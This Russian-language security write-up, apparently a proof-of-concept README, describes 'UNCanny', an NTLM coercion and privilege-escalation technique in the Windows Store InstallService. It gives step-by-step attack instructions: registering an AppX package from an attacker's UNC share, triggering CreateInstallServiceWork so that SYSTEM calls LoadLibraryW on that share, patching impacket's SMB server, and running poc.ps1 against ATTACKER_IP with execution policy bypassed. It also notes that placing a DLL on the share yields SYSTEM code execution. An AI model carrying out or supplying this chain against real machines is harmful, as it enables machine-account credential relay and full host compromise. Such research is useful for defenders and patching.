UNCanny Coerce

Идея этого исследования была простой: я хотел найти свою собственную технику принуждения. Я начал с поиска новых поверхностей атак RPC, но после того, как Microsoft добавила мониторинг активности RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), я решил пойти другим путем.

UNCanny — это результат этой кроличьей норы. Это не то, что я бы счел надежным для реальных операций red team из-за его ограничений, но я все же считаю, что заметки стоит опубликовать для тех, кто копается в той же области.

---

кратко этот примитив таков:

обычный пользователь передает службе установки магазина Windows некоторые метаданные установки -> служба, работающая как локальная система, разрешает "плагин" для этой работы -> преобразователь в конечном итоге выполняет LoadLibraryW по пути, на который повлиял пользователь -> этот путь является UNC -> исходящий NTLM от учетной записи машины.

компонент — это мир службы установки магазина windows: InstallService.dll размещенный в InstallService.exe, работающий как NT AUTHORITY\SYSTEM.

поиск странной поверхности

Кроличья нора началась с InstallService.dll. Я искал компоненты windows, которые устанавливают пакеты, восстанавливают состояние после перезагрузки, возобновляют неудачные задания, читают локальное/удаленное содержимое и загружают плагины. все, что объединяет эти четыре вещи, обычно имеет путаницу границ где-то:

• у него есть публичная сторона вызывающего, потому что обычное пользовательское пространство должно запрашивать установки
• у него есть привилегированная сторона рабочего, потому что управление установкой/состоянием пакетов требует прав службы
• у него есть сериализация, потому что работа должна пережить перезагрузку
• у него есть загрузка плагинов, потому что windows любит делать простые вещи модульными и страшными

Интересный класс времени выполнения был:

Windows.Internal.InstallService.Control.InstallServiceControl
IID:    e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8  ->  CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

Вот где живет веселье — в параметре propertiesJson. поведение установки описывается полями json, такими как FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.

Сначала я думал, что ошибка будет заключаться в том, чтобы "поместить UNC в SourceUri и позволить службе прочитать его". это было бы прекрасно, но windows не была так щедра. я реверсировал встроенный путь выполнения (CreateInstallServiceWorkFromBridge, InstallService.dll) и встроенные плагины просто не делают этого:

• WU разбирает json и выходит через WinHTTP / Delivery Optimization. никогда SMB.
• ChainedWork и XVC — та же история или их вообще нет на клиенте.
• сырой SourceUri либо быстро отклоняется, либо направляется в проверку каталога. CreateCatalogItemFromLocalData, несмотря на название, создает элемент каталога из сериализованного json в памяти, он не открывает файл.

Так что наивная идея — тупик, эта функция очень интересна, и я тоже занимаюсь другими исследовательскими примитивами на ней, и это стоит сказать вслух, чтобы никто не тратил на это неделю :)

SYSTEM касается пути

единственное место во всем потоке создания/восстановления, где служба касается пути, на который повлиял атакующий, — это активация плагина. функция — PluginHelpers::ActivatePlugin. она разрешает FulfillmentPluginId в следующем порядке:

1. "WU" -> встроенный
2. "ChainedWork" -> встроенный
3. значение, найденное в StaticPluginMap (HKLM) -> CoCreateInstance CLSID, или активировать класс WinRT
4. "XVC" -> фабрика xbox
5. все остальное -> рассматривать как имя семейства пакета. FindPackagesForUser(pfn) -> взять InstalledLocation.Path этого пакета -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")

ветвь 5 — та самая, и PluginHelpers::IsPluginAvailable подтверждает ворота: он возвращает true для любого FulfillmentPluginId, который соответствует установленному пакету, через тот же самый поиск FindPackagesForUser.

итак, если FulfillmentPluginId указывает на пакет, чей InstalledLocation является UNC, то InstallService.exe, работающий как SYSTEM, делает:

LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )

LoadLibraryW должен подключиться к \\attacker\share и аутентифицироваться, прежде чем узнает, что dll там нет, и эта аутентификация и есть принуждение, а dll никогда не должна существовать.

фактический примитив

единственный оставшийся вопрос: "как обычный пользователь получает пакет, чей InstalledLocation является UNC". ответ — свободная регистрация файлов (loose-file registration), которая является операцией для каждого пользователя, не требующей повышения прав:

Add-AppxPackage -Register \\attacker\share\AppxManifest.xml

windows регистрирует пакет "на месте", поэтому зарегистрированный InstalledLocation буквально является UNC, на который вы указали. затем вы запускаете работу с именем семейства этого пакета в качестве идентификатора плагина.

1. Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
2. CreateInstallServiceWork( FulfillmentPluginId = <имя семейства этого пакета> )

вызывающий — обычный пользователь, сетевая аутентификация — учетная запись машины.

малопривилегированный пользователь запустил это, учетная запись машины аутентифицировалась. собственный загрузчик windows выполнил обращение к UNC, а не вызывающий.

сторона атакующего

две вещи, которые нужно уладить перед запуском:

• impacket-smbserver сообщает тип файловой системы XTFS. AppX отказывается регистрироваться на общих ресурсах не-NTFS (0x80073CFD). исправьте поле FileSystemName в impacket/smbserver.py на NTFS.

• общая папка должна содержать AppxManifest.xml, logo.png, dummy.exe. InstallServicePlugin.dll не требуется. MaxVersionTested в манифесте должен быть ≤ целевой сборки (проверьте с помощью winver на целевой системе).

Вы можете запустить poc/setup.sh из корня репозитория на Kali. он заполняет общую папку, исправляет impacket, размещает poc.ps1 на целевой системе через smbclient, если установлены TARGET_IP и TARGET_CREDS, и запускает сервер ;-)

Затем на вашей рабочей станции windows от имени малопривилегированного пользователя в интерактивном сеансе:

powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce

LPE

Есть вторая сторона той же ошибки, которая более прямолинейна, чем принуждение. если InstallServicePlugin.dll действительно существует на UNC-пути пакета, служба все равно достигает той же ветви LoadLibraryW(\\attacker\share\InstallServicePlugin.dll), но на этот раз загрузчику удается, и dll отображается внутри процесса службы установки магазина как NT AUTHORITY\SYSTEM.